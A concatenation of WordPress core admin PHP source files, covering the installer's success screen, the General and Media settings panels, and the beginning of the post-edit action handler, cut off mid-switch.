			$error = true;
		} elseif ( empty( $admin_email ) ) {
			// TODO: Poka-yoke.
			display_setup_form( __( 'You must provide an email address.' ) );
			$error = true;
		} elseif ( ! is_email( $admin_email ) ) {
			// TODO: Poka-yoke.
			display_setup_form( __( 'Sorry, that is not a valid email address. Email addresses look like <code>username@example.com</code>.' ) );
			$error = true;
		}

		if ( false === $error ) {
			$wpdb->show_errors();
			$result = wp_install( $weblog_title, $user_name, $admin_email, $public, '', wp_slash( $admin_password ), $loaded_language );
			?>

<h1><?php _e( 'Success!' ); ?></h1>

<p><?php _e( 'WordPress has been installed. Thank you, and enjoy!' ); ?></p>

<table class="form-table install-success">
	<tr>
		<th><?php _e( 'Username' ); ?></th>
		<td><?php echo esc_html( sanitize_user( $user_name, true ) ); ?></td>
	</tr>
	<tr>
		<th><?php _e( 'Password' ); ?></th>
		<td>
			<?php if ( ! empty( $result['password'] ) && empty( $admin_password_check ) ) : ?>
				<code><?php echo esc_html( $result['password'] ); ?></code><br />
			<?php endif; ?>
			<p><?php echo $result['password_message']; ?></p>
		</td>
	</tr>
</table>

<p class="step"><a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log In' ); ?></a></p>

			<?php
		}
		break;
}

if ( ! wp_is_mobile() ) {
	?>
<script type="text/javascript">var t = document.getElementById('weblog_title'); if (t){ t.focus(); }</script>
	<?php
}

wp_print_scripts( $scripts_to_print );
?>
<script type="text/javascript">
jQuery( function( $ ) {
	$( '.hide-if-no-js' ).removeClass( 'hide-if-no-js' );
} );
</script>
</body>
</html>
<?php
/**
 * General settings administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

if ( ! current_user_can( 'manage_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
}

// Used in the HTML title tag.
$title       = __( 'General Settings' );
$parent_file = 'options-general.php';
/* translators: Date and time format for exact current time, mainly about timezones, see https://www.php.net/manual/datetime.format.php */
$timezone_format = _x( 'Y-m-d H:i:s', 'timezone date format' );

add_action( 'admin_head', 'options_general_add_js' );

$options_help = '<p>' . __( 'The fields on this screen determine some of the basics of your site setup.' ) . '</p>' .
	'<p>' . __( 'Most themes show the site title at the top of every page, in the title bar of the browser, and as the identifying name for syndicated feeds. Many themes also show the tagline.' ) . '</p>';

if ( ! is_multisite() ) {
	$options_help .= '<p>' . __( 'Two terms you will want to know are the WordPress URL and the site URL. The WordPress URL is where the core WordPress installation files are, and the site URL is the address a visitor uses in the browser to go to your site.' ) . '</p>' .
		'<p>' . sprintf(
			/* translators: %s: Documentation URL. */
			__( 'Though the terms refer to two different concepts, in practice, they can be the same address or different. For example, you can have the core WordPress installation files in the root directory (<code>https://example.com</code>), in which case the two URLs would be the same. Or the <a href="%s">WordPress files can be in a subdirectory</a> (<code>https://example.com/wordpress</code>). In that case, the WordPress URL and the site URL would be different.' ),
			__( 'https://wordpress.org/documentation/article/giving-wordpress-its-own-directory/' )
		) . '</p>' .
		'<p>' . sprintf(
			/* translators: 1: http://, 2: https:// */
			__( 'Both WordPress URL and site URL can start with either %1$s or %2$s. A URL starting with %2$s requires an SSL certificate, so be sure that you have one before changing to %2$s. With %2$s, a padlock will appear next to the address in the browser address bar. Both %2$s and the padlock signal that your site meets some basic security requirements, which can build trust with your visitors and with search engines.' ),
			'<code>http://</code>',
			'<code>https://</code>'
		) . '</p>' .
		'<p>' . __( 'If you want site visitors to be able to register themselves, check the membership box. If you want the site administrator to register every new user, leave the box unchecked. In either case, you can set a default user role for all new users.' ) . '</p>';
}

$options_help .= '<p>' . __( 'You can set the language, and WordPress will automatically download and install the translation files (available if your filesystem is writable).' ) . '</p>' .
	'<p>' . __( 'UTC means Coordinated Universal Time.' ) . '</p>' .
	'<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $options_help,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-general-screen/">Documentation on General Settings</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<form method="post" action="options.php" novalidate="novalidate">
<?php settings_fields( 'general' ); ?>

<table class="form-table" role="presentation">

<tr>
<th scope="row"><label for="blogname"><?php _e( 'Site Title' ); ?></label></th>
<td><input name="blogname" type="text" id="blogname" value="<?php form_option( 'blogname' ); ?>" class="regular-text" /></td>
</tr>

<?php
if ( ! is_multisite() ) {
	/* translators: Site tagline. */
	$sample_tagline = __( 'Just another WordPress site' );
} else {
	/* translators: %s: Network title. */
	$sample_tagline = sprintf( __( 'Just another %s site' ), get_network()->site_name );
}
$tagline_description = sprintf(
	/* translators: %s: Site tagline example. */
	__( 'In a few words, explain what this site is about. Example: &#8220;%s.&#8221;' ),
	$sample_tagline
);
?>
<tr>
<th scope="row"><label for="blogdescription"><?php _e( 'Tagline' ); ?></label></th>
<td><input name="blogdescription" type="text" id="blogdescription" aria-describedby="tagline-description" value="<?php form_option( 'blogdescription' ); ?>" class="regular-text" />
<p class="description" id="tagline-description"><?php echo $tagline_description; ?></p></td>
</tr>

<?php if ( current_user_can( 'upload_files' ) ) : ?>
<tr class="hide-if-no-js site-icon-section">
<th scope="row"><?php _e( 'Site Icon' ); ?></th>
<td>
	<?php
	wp_enqueue_media();
	wp_enqueue_script( 'site-icon' );

	$classes_for_upload_button = 'upload-button button-add-media button-add-site-icon';
	$classes_for_update_button = 'button';
	$classes_for_wrapper       = '';

	if ( has_site_icon() ) {
		$classes_for_wrapper         .= ' has-site-icon';
		$classes_for_button           = $classes_for_update_button;
		$classes_for_button_on_change = $classes_for_upload_button;
	} else {
		$classes_for_wrapper         .= ' hidden';
		$classes_for_button           = $classes_for_upload_button;
		$classes_for_button_on_change = $classes_for_update_button;
	}

	// Handle alt text for site icon on page load.
	$site_icon_id           = (int) get_option( 'site_icon' );
	$app_icon_alt_value     = '';
	$browser_icon_alt_value = '';

	if ( $site_icon_id ) {
		$img_alt            = get_post_meta( $site_icon_id, '_wp_attachment_image_alt', true );
		$filename           = wp_basename( get_site_icon_url() );
		$app_icon_alt_value = sprintf(
			/* translators: %s: The selected image filename. */
			__( 'App icon preview: The current image has no alternative text. The file name is: %s' ),
			$filename
		);

		$browser_icon_alt_value = sprintf(
			/* translators: %s: The selected image filename. */
			__( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ),
			$filename
		);

		if ( $img_alt ) {
			$app_icon_alt_value = sprintf(
				/* translators: %s: The selected image alt text. */
				__( 'App icon preview: Current image: %s' ),
				$img_alt
			);

			$browser_icon_alt_value = sprintf(
				/* translators: %s: The selected image alt text. */
				__( 'Browser icon preview: Current image: %s' ),
				$img_alt
			);
		}
	}
	?>


	<div id="site-icon-preview" class="site-icon-preview wp-clearfix settings-page-preview <?php echo esc_attr( $classes_for_wrapper ); ?>">
		<div class="favicon-preview">
			<img src="<?php echo esc_url( admin_url( 'images/' . ( is_rtl() ? 'browser-rtl.png' : 'browser.png' ) ) ); ?>" class="browser-preview" width="182" alt="">
			<div class="favicon">
				<img id="browser-icon-preview" src="<?php site_icon_url(); ?>" alt="<?php echo esc_attr( $browser_icon_alt_value ); ?>">
			</div>
			<span id="site-icon-preview-site-title" class="browser-title" aria-hidden="true"><?php bloginfo( 'name' ); ?></span>
		</div>
		<img id="app-icon-preview" class="app-icon-preview" src="<?php site_icon_url(); ?>" alt="<?php echo esc_attr( $app_icon_alt_value ); ?>">
	</div>

	<input type="hidden" name="site_icon" id="site_icon_hidden_field" value="<?php form_option( 'site_icon' ); ?>" />
	<div class="action-buttons">
		<button type="button"
			id="choose-from-library-button"
			type="button"
			class="<?php echo esc_attr( $classes_for_button ); ?>"
			data-alt-classes="<?php echo esc_attr( $classes_for_button_on_change ); ?>"
			data-size="512"
			data-choose-text="<?php esc_attr_e( 'Choose a Site Icon' ); ?>"
			data-update-text="<?php esc_attr_e( 'Change Site Icon' ); ?>"
			data-update="<?php esc_attr_e( 'Set as Site Icon' ); ?>"
			data-state="<?php echo esc_attr( has_site_icon() ); ?>"

		>
			<?php if ( has_site_icon() ) : ?>
				<?php _e( 'Change Site Icon' ); ?>
			<?php else : ?>
				<?php _e( 'Choose a Site Icon' ); ?>
			<?php endif; ?>
		</button>
		<button
			id="js-remove-site-icon"
			type="button"
			<?php echo has_site_icon() ? 'class="button button-secondary reset"' : 'class="button button-secondary reset hidden"'; ?>
		>
			<?php _e( 'Remove Site Icon' ); ?>
		</button>
	</div>

	<p class="description">
		<?php
			/* translators: %s: Site Icon size in pixels. */
			printf( __( 'The Site Icon is what you see in browser tabs, bookmark bars, and within the WordPress mobile apps. It should be square and at least %s pixels.' ), '<code>512 &times; 512</code>' );
		?>
	</p>

</td>
</tr>

	<?php
endif;
	/* End Site Icon */

if ( ! is_multisite() ) {
	$wp_site_url_class = '';
	$wp_home_class     = '';
	if ( defined( 'WP_SITEURL' ) ) {
		$wp_site_url_class = ' disabled';
	}
	if ( defined( 'WP_HOME' ) ) {
		$wp_home_class = ' disabled';
	}
	?>

<tr>
<th scope="row"><label for="siteurl"><?php _e( 'WordPress Address (URL)' ); ?></label></th>
<td><input name="siteurl" type="url" id="siteurl" value="<?php form_option( 'siteurl' ); ?>"<?php disabled( defined( 'WP_SITEURL' ) ); ?> class="regular-text code<?php echo $wp_site_url_class; ?>" /></td>
</tr>

<tr>
<th scope="row"><label for="home"><?php _e( 'Site Address (URL)' ); ?></label></th>
<td><input name="home" type="url" id="home" aria-describedby="home-description" value="<?php form_option( 'home' ); ?>"<?php disabled( defined( 'WP_HOME' ) ); ?> class="regular-text code<?php echo $wp_home_class; ?>" />
	<?php if ( ! defined( 'WP_HOME' ) ) : ?>
<p class="description" id="home-description">
		<?php
		printf(
			/* translators: %s: Documentation URL. */
			__( 'Enter the same address here unless you <a href="%s">want your site home page to be different from your WordPress installation directory</a>.' ),
			__( 'https://wordpress.org/documentation/article/giving-wordpress-its-own-directory/' )
		);
		?>
</p>
<?php endif; ?>
</td>
</tr>

<?php } ?>

<tr>
<th scope="row"><label for="new_admin_email"><?php _e( 'Administration Email Address' ); ?></label></th>
<td><input name="new_admin_email" type="email" id="new_admin_email" aria-describedby="new-admin-email-description" value="<?php form_option( 'admin_email' ); ?>" class="regular-text ltr" />
<p class="description" id="new-admin-email-description"><?php _e( 'This address is used for admin purposes. If you change this, an email will be sent to your new address to confirm it. <strong>The new address will not become active until confirmed.</strong>' ); ?></p>
<?php
$new_admin_email = get_option( 'new_admin_email' );
if ( $new_admin_email && get_option( 'admin_email' ) !== $new_admin_email ) {
	$pending_admin_email_message = sprintf(
		/* translators: %s: New admin email. */
		__( 'There is a pending change of the admin email to %s.' ),
		'<code>' . esc_html( $new_admin_email ) . '</code>'
	);
	$pending_admin_email_message .= sprintf(
		' <a href="%1$s">%2$s</a>',
		esc_url( wp_nonce_url( admin_url( 'options.php?dismiss=new_admin_email' ), 'dismiss-' . get_current_blog_id() . '-new_admin_email' ) ),
		__( 'Cancel' )
	);
	wp_admin_notice(
		$pending_admin_email_message,
		array(
			'additional_classes' => array( 'updated', 'inline' ),
		)
	);
}
?>
</td>
</tr>

<?php if ( ! is_multisite() ) { ?>

<tr>
<th scope="row"><?php _e( 'Membership' ); ?></th>
<td> <fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Membership' );
	?>
</span></legend><label for="users_can_register">
<input name="users_can_register" type="checkbox" id="users_can_register" value="1" <?php checked( '1', get_option( 'users_can_register' ) ); ?> />
	<?php _e( 'Anyone can register' ); ?></label>
</fieldset></td>
</tr>

<tr>
<th scope="row"><label for="default_role"><?php _e( 'New User Default Role' ); ?></label></th>
<td>
<select name="default_role" id="default_role"><?php wp_dropdown_roles( get_option( 'default_role' ) ); ?></select>
</td>
</tr>

	<?php
}

$languages    = get_available_languages();
$translations = wp_get_available_translations();
if ( ! is_multisite() && defined( 'WPLANG' ) && '' !== WPLANG && 'en_US' !== WPLANG && ! in_array( WPLANG, $languages, true ) ) {
	$languages[] = WPLANG;
}
if ( ! empty( $languages ) || ! empty( $translations ) ) {
	?>
	<tr>
		<th scope="row"><label for="WPLANG"><?php _e( 'Site Language' ); ?><span class="dashicons dashicons-translation" aria-hidden="true"></span></label></th>
		<td>
			<?php
			$locale = get_locale();
			if ( ! in_array( $locale, $languages, true ) ) {
				$locale = '';
			}

			wp_dropdown_languages(
				array(
					'name'                        => 'WPLANG',
					'id'                          => 'WPLANG',
					'selected'                    => $locale,
					'languages'                   => $languages,
					'translations'                => $translations,
					'show_available_translations' => current_user_can( 'install_languages' ) && wp_can_install_language_pack(),
				)
			);

			// Add note about deprecated WPLANG constant.
			if ( defined( 'WPLANG' ) && ( '' !== WPLANG ) && WPLANG !== $locale ) {
				_deprecated_argument(
					'define()',
					'4.0.0',
					/* translators: 1: WPLANG, 2: wp-config.php */
					sprintf( __( 'The %1$s constant in your %2$s file is no longer needed.' ), 'WPLANG', 'wp-config.php' )
				);
			}
			?>
		</td>
	</tr>
	<?php
}
?>
<tr>
<?php
$current_offset = get_option( 'gmt_offset' );
$tzstring       = get_option( 'timezone_string' );

$check_zone_info = true;

// Remove old Etc mappings. Fallback to gmt_offset.
if ( str_contains( $tzstring, 'Etc/GMT' ) ) {
	$tzstring = '';
}

if ( empty( $tzstring ) ) { // Create a UTC+- zone if no timezone string exists.
	$check_zone_info = false;
	if ( 0 == $current_offset ) {
		$tzstring = 'UTC+0';
	} elseif ( $current_offset < 0 ) {
		$tzstring = 'UTC' . $current_offset;
	} else {
		$tzstring = 'UTC+' . $current_offset;
	}
}

?>
<th scope="row"><label for="timezone_string"><?php _e( 'Timezone' ); ?></label></th>
<td>

<select id="timezone_string" name="timezone_string" aria-describedby="timezone-description">
	<?php echo wp_timezone_choice( $tzstring, get_user_locale() ); ?>
</select>

<p class="description" id="timezone-description">
<?php
	printf(
		/* translators: %s: UTC abbreviation */
		__( 'Choose either a city in the same timezone as you or a %s (Coordinated Universal Time) time offset.' ),
		'<abbr>UTC</abbr>'
	);
	?>
</p>

<p class="timezone-info">
	<span id="utc-time">
	<?php
		printf(
			/* translators: %s: UTC time. */
			__( 'Universal time is %s.' ),
			'<code>' . date_i18n( $timezone_format, false, true ) . '</code>'
		);
		?>
	</span>
<?php if ( get_option( 'timezone_string' ) || ! empty( $current_offset ) ) : ?>
	<span id="local-time">
	<?php
		printf(
			/* translators: %s: Local time. */
			__( 'Local time is %s.' ),
			'<code>' . date_i18n( $timezone_format ) . '</code>'
		);
	?>
	</span>
<?php endif; ?>
</p>

<?php if ( $check_zone_info && $tzstring ) : ?>
<p class="timezone-info">
<span>
	<?php
	$now = new DateTime( 'now', new DateTimeZone( $tzstring ) );
	$dst = (bool) $now->format( 'I' );

	if ( $dst ) {
		_e( 'This timezone is currently in daylight saving time.' );
	} else {
		_e( 'This timezone is currently in standard time.' );
	}
	?>
	<br />
	<?php
	if ( in_array( $tzstring, timezone_identifiers_list( DateTimeZone::ALL_WITH_BC ), true ) ) {
		$transitions = timezone_transitions_get( timezone_open( $tzstring ), time() );

		// 0 index is the state at current time, 1 index is the next transition, if any.
		if ( ! empty( $transitions[1] ) ) {
			echo ' ';
			$message = $transitions[1]['isdst'] ?
				/* translators: %s: Date and time. */
				__( 'Daylight saving time begins on: %s.' ) :
				/* translators: %s: Date and time. */
				__( 'Standard time begins on: %s.' );
			printf(
				$message,
				'<code>' . wp_date( __( 'F j, Y' ) . ' ' . __( 'g:i a' ), $transitions[1]['ts'] ) . '</code>'
			);
		} else {
			_e( 'This timezone does not observe daylight saving time.' );
		}
	}
	?>
	</span>
</p>
<?php endif; ?>
</td>

</tr>
<tr>
<th scope="row"><?php _e( 'Date Format' ); ?></th>
<td>
	<fieldset><legend class="screen-reader-text"><span>
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Date Format' );
		?>
	</span></legend>
<?php
	/**
	 * Filters the default date formats.
	 *
	 * @since 2.7.0
	 * @since 4.0.0 Added ISO date standard YYYY-MM-DD format.
	 *
	 * @param string[] $default_date_formats Array of default date formats.
	 */
	$date_formats = array_unique( apply_filters( 'date_formats', array( __( 'F j, Y' ), 'Y-m-d', 'm/d/Y', 'd/m/Y' ) ) );

	$custom = true;

foreach ( $date_formats as $format ) {
	echo "\t<label><input type='radio' name='date_format' value='" . esc_attr( $format ) . "'";
	if ( get_option( 'date_format' ) === $format ) { // checked() uses "==" rather than "===".
		echo " checked='checked'";
		$custom = false;
	}
	echo ' /> <span class="date-time-text format-i18n">' . date_i18n( $format ) . '</span><code>' . esc_html( $format ) . "</code></label><br />\n";
}

	echo '<label><input type="radio" name="date_format" id="date_format_custom_radio" value="\c\u\s\t\o\m"';
	checked( $custom );
	echo '/> <span class="date-time-text date-time-custom-text">' . __( 'Custom:' ) . '<span class="screen-reader-text"> ' .
			/* translators: Hidden accessibility text. */
			__( 'enter a custom date format in the following field' ) .
		'</span></span></label>' .
		'<label for="date_format_custom" class="screen-reader-text">' .
			/* translators: Hidden accessibility text. */
			__( 'Custom date format:' ) .
		'</label>' .
		'<input type="text" name="date_format_custom" id="date_format_custom" value="' . esc_attr( get_option( 'date_format' ) ) . '" class="small-text" />' .
		'<br />' .
		'<p><strong>' . __( 'Preview:' ) . '</strong> <span class="example">' . date_i18n( get_option( 'date_format' ) ) . '</span>' .
		"<span class='spinner'></span>\n" . '</p>';
?>
	</fieldset>
</td>
</tr>
<tr>
<th scope="row"><?php _e( 'Time Format' ); ?></th>
<td>
	<fieldset><legend class="screen-reader-text"><span>
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Time Format' );
		?>
	</span></legend>
<?php
	/**
	 * Filters the default time formats.
	 *
	 * @since 2.7.0
	 *
	 * @param string[] $default_time_formats Array of default time formats.
	 */
	$time_formats = array_unique( apply_filters( 'time_formats', array( __( 'g:i a' ), 'g:i A', 'H:i' ) ) );

	$custom = true;

foreach ( $time_formats as $format ) {
	echo "\t<label><input type='radio' name='time_format' value='" . esc_attr( $format ) . "'";
	if ( get_option( 'time_format' ) === $format ) { // checked() uses "==" rather than "===".
		echo " checked='checked'";
		$custom = false;
	}
	echo ' /> <span class="date-time-text format-i18n">' . date_i18n( $format ) . '</span><code>' . esc_html( $format ) . "</code></label><br />\n";
}

	echo '<label><input type="radio" name="time_format" id="time_format_custom_radio" value="\c\u\s\t\o\m"';
	checked( $custom );
	echo '/> <span class="date-time-text date-time-custom-text">' . __( 'Custom:' ) . '<span class="screen-reader-text"> ' .
			/* translators: Hidden accessibility text. */
			__( 'enter a custom time format in the following field' ) .
		'</span></span></label>' .
		'<label for="time_format_custom" class="screen-reader-text">' .
			/* translators: Hidden accessibility text. */
			__( 'Custom time format:' ) .
		'</label>' .
		'<input type="text" name="time_format_custom" id="time_format_custom" value="' . esc_attr( get_option( 'time_format' ) ) . '" class="small-text" />' .
		'<br />' .
		'<p><strong>' . __( 'Preview:' ) . '</strong> <span class="example">' . date_i18n( get_option( 'time_format' ) ) . '</span>' .
		"<span class='spinner'></span>\n" . '</p>';

	echo "\t<p class='date-time-doc'>" . __( '<a href="https://wordpress.org/documentation/article/customize-date-and-time-format/">Documentation on date and time formatting</a>.' ) . "</p>\n";
?>
	</fieldset>
</td>
</tr>
<tr>
<th scope="row"><label for="start_of_week"><?php _e( 'Week Starts On' ); ?></label></th>
<td><select name="start_of_week" id="start_of_week">
<?php
/**
 * @global WP_Locale $wp_locale WordPress date and time locale object.
 */
global $wp_locale;

for ( $day_index = 0; $day_index <= 6; $day_index++ ) :
	$selected = ( get_option( 'start_of_week' ) == $day_index ) ? 'selected="selected"' : '';
	echo "\n\t<option value='" . esc_attr( $day_index ) . "' $selected>" . $wp_locale->get_weekday( $day_index ) . '</option>';
endfor;
?>
</select></td>
</tr>
<?php do_settings_fields( 'general', 'default' ); ?>
</table>

<?php do_settings_sections( 'general' ); ?>

<?php submit_button(); ?>
</form>

</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * Media settings administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
}

// Used in the HTML title tag.
$title       = __( 'Media Settings' );
$parent_file = 'options-general.php';

$media_options_help = '<p>' . __( 'You can set maximum sizes for images inserted into your written content; you can also insert an image as Full Size.' ) . '</p>';

if ( ! is_multisite()
	&& ( get_option( 'upload_url_path' )
		|| get_option( 'upload_path' ) && 'wp-content/uploads' !== get_option( 'upload_path' ) )
) {
	$media_options_help .= '<p>' . __( 'Uploading Files allows you to choose the folder and path for storing your uploaded files.' ) . '</p>';
}

$media_options_help .= '<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => $media_options_help,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-media-screen/">Documentation on Media Settings</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<form action="options.php" method="post">
<?php settings_fields( 'media' ); ?>

<h2 class="title"><?php _e( 'Image sizes' ); ?></h2>
<p><?php _e( 'The sizes listed below determine the maximum dimensions in pixels to use when adding an image to the Media Library.' ); ?></p>

<table class="form-table" role="presentation">
<tr>
<th scope="row"><?php _e( 'Thumbnail size' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Thumbnail size' );
	?>
</span></legend>
<label for="thumbnail_size_w"><?php _e( 'Width' ); ?></label>
<input name="thumbnail_size_w" type="number" step="1" min="0" id="thumbnail_size_w" value="<?php form_option( 'thumbnail_size_w' ); ?>" class="small-text" />
<br />
<label for="thumbnail_size_h"><?php _e( 'Height' ); ?></label>
<input name="thumbnail_size_h" type="number" step="1" min="0" id="thumbnail_size_h" value="<?php form_option( 'thumbnail_size_h' ); ?>" class="small-text" />
</fieldset>
<input name="thumbnail_crop" type="checkbox" id="thumbnail_crop" value="1" <?php checked( '1', get_option( 'thumbnail_crop' ) ); ?>/>
<label for="thumbnail_crop"><?php _e( 'Crop thumbnail to exact dimensions (normally thumbnails are proportional)' ); ?></label>
</td>
</tr>

<tr>
<th scope="row"><?php _e( 'Medium size' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Medium size' );
	?>
</span></legend>
<label for="medium_size_w"><?php _e( 'Max Width' ); ?></label>
<input name="medium_size_w" type="number" step="1" min="0" id="medium_size_w" value="<?php form_option( 'medium_size_w' ); ?>" class="small-text" />
<br />
<label for="medium_size_h"><?php _e( 'Max Height' ); ?></label>
<input name="medium_size_h" type="number" step="1" min="0" id="medium_size_h" value="<?php form_option( 'medium_size_h' ); ?>" class="small-text" />
</fieldset></td>
</tr>

<tr>
<th scope="row"><?php _e( 'Large size' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Large size' );
	?>
</span></legend>
<label for="large_size_w"><?php _e( 'Max Width' ); ?></label>
<input name="large_size_w" type="number" step="1" min="0" id="large_size_w" value="<?php form_option( 'large_size_w' ); ?>" class="small-text" />
<br />
<label for="large_size_h"><?php _e( 'Max Height' ); ?></label>
<input name="large_size_h" type="number" step="1" min="0" id="large_size_h" value="<?php form_option( 'large_size_h' ); ?>" class="small-text" />
</fieldset></td>
</tr>

<?php do_settings_fields( 'media', 'default' ); ?>
</table>

<?php
/**
 * @global array $wp_settings
 */
if ( isset( $GLOBALS['wp_settings']['media']['embeds'] ) ) :
	?>
<h2 class="title"><?php _e( 'Embeds' ); ?></h2>
<table class="form-table" role="presentation">
	<?php do_settings_fields( 'media', 'embeds' ); ?>
</table>
<?php endif; ?>

<?php if ( ! is_multisite() ) : ?>
<h2 class="title"><?php _e( 'Uploading Files' ); ?></h2>
<table class="form-table" role="presentation">
	<?php
	/*
	 * If upload_url_path is not the default (empty),
	 * or upload_path is not the default ('wp-content/uploads' or empty),
	 * they can be edited, otherwise they're locked.
	 */
	if ( get_option( 'upload_url_path' )
		|| get_option( 'upload_path' ) && 'wp-content/uploads' !== get_option( 'upload_path' ) ) :
		?>
<tr>
<th scope="row"><label for="upload_path"><?php _e( 'Store uploads in this folder' ); ?></label></th>
<td><input name="upload_path" type="text" id="upload_path" value="<?php echo esc_attr( get_option( 'upload_path' ) ); ?>" class="regular-text code" />
<p class="description">
		<?php
		/* translators: %s: wp-content/uploads */
		printf( __( 'Default is %s' ), '<code>wp-content/uploads</code>' );
		?>
</p>
</td>
</tr>

<tr>
<th scope="row"><label for="upload_url_path"><?php _e( 'Full URL path to files' ); ?></label></th>
<td><input name="upload_url_path" type="text" id="upload_url_path" value="<?php echo esc_attr( get_option( 'upload_url_path' ) ); ?>" class="regular-text code" />
<p class="description"><?php _e( 'Configuring this is optional. By default, it should be blank.' ); ?></p>
</td>
</tr>
<tr>
<td colspan="2" class="td-full">
<?php else : ?>
<tr>
<td class="td-full">
<?php endif; ?>
<label for="uploads_use_yearmonth_folders">
<input name="uploads_use_yearmonth_folders" type="checkbox" id="uploads_use_yearmonth_folders" value="1"<?php checked( '1', get_option( 'uploads_use_yearmonth_folders' ) ); ?> />
	<?php _e( 'Organize my uploads into month- and year-based folders' ); ?>
</label>
</td>
</tr>

	<?php do_settings_fields( 'media', 'uploads' ); ?>
</table>
<?php endif; ?>

<?php do_settings_sections( 'media' ); ?>

<?php submit_button(); ?>

</form>

</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * Edit post administration panel.
 *
 * Manage Post actions: post, edit, delete, etc.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

$parent_file  = 'edit.php';
$submenu_file = 'edit.php';

wp_reset_vars( array( 'action' ) );

if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) {
	wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
} elseif ( isset( $_GET['post'] ) ) {
	$post_id = (int) $_GET['post'];
} elseif ( isset( $_POST['post_ID'] ) ) {
	$post_id = (int) $_POST['post_ID'];
} else {
	$post_id = 0;
}
$post_ID = $post_id;

/**
 * @global string  $post_type
 * @global object  $post_type_object
 * @global WP_Post $post             Global post object.
 */
global $post_type, $post_type_object, $post;

if ( $post_id ) {
	$post = get_post( $post_id );
}

if ( $post ) {
	$post_type        = $post->post_type;
	$post_type_object = get_post_type_object( $post_type );
}

if ( isset( $_POST['post_type'] ) && $post && $post_type !== $_POST['post_type'] ) {
	wp_die( __( 'A post type mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
}

if ( isset( $_POST['deletepost'] ) ) {
	$action = 'delete';
} elseif ( isset( $_POST['wp-preview'] ) && 'dopreview' === $_POST['wp-preview'] ) {
	$action = 'preview';
}

$sendback = wp_get_referer();
if ( ! $sendback ||
	str_contains( $sendback, 'post.php' ) ||
	str_contains( $sendback, 'post-new.php' ) ) {
	if ( 'attachment' === $post_type ) {
		$sendback = admin_url( 'upload.php' );
	} else {
		$sendback = admin_url( 'edit.php' );
		if ( ! empty( $post_type ) ) {
			$sendback = add_query_arg( 'post_type', $post_type, $sendback );
		}
	}
} else {
	$sendback = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'ids' ), $sendback );
}

switch ( $action ) {
	case 'post-quickdraft-save':
		// Check nonce and capabilities.
		$nonce     = $_REQUEST['_wpnonce'];
		$error_msg = false;

		// For output of the Quick Draft dashboard widget.
		require_once ABSPATH . 'wp-admin/includes/dashboard.php';

		if ( ! wp_verify_nonce( $nonce, 'add-post' ) ) {
			$error_msg = __( 'Unable to submit this form, please refresh and try again.' );
		}

		if ( ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
			exit;
		}

		if ( $error_msg ) {
			return wp_dashboard_quick_press( $error_msg );
		}

		$post = get_post( $_REQUEST['post_ID'] );
		check_admin_referer( 'add-' . $post->post_type );

		$_POST['comment_status'] = get_default_comment_status( $post->post_type );
		$_POST['ping_status']    = get_default_comment_status( $post->post_type, 'pingback' );

		// Wrap Quick Draft content in the Paragraph block.
		if ( ! str_contains( $_POST['content'], '<!-- wp:paragraph -->' ) ) {
			$_POST['content'] = sprintf(
				'<!-- wp:paragraph -->%s<!-- /wp:paragraph -->',
				str_replace( array( "\r\n", "\r", "\n" ), '<br />', $_POST['content'] )
			);
		}

		edit_post();
		wp_dashboard_quick_press();
		exit;

	case 'postajaxpost':
	case 'post':
		check_admin_referer( 'add-' . $post_type );
		$post_id = 'postajaxpost' === $action ? edit_post() : write_post();
		redirect_post( $post_id );
		exit;

	case 'edit':
		$editing = true;

		if ( empty( $post_id ) ) {
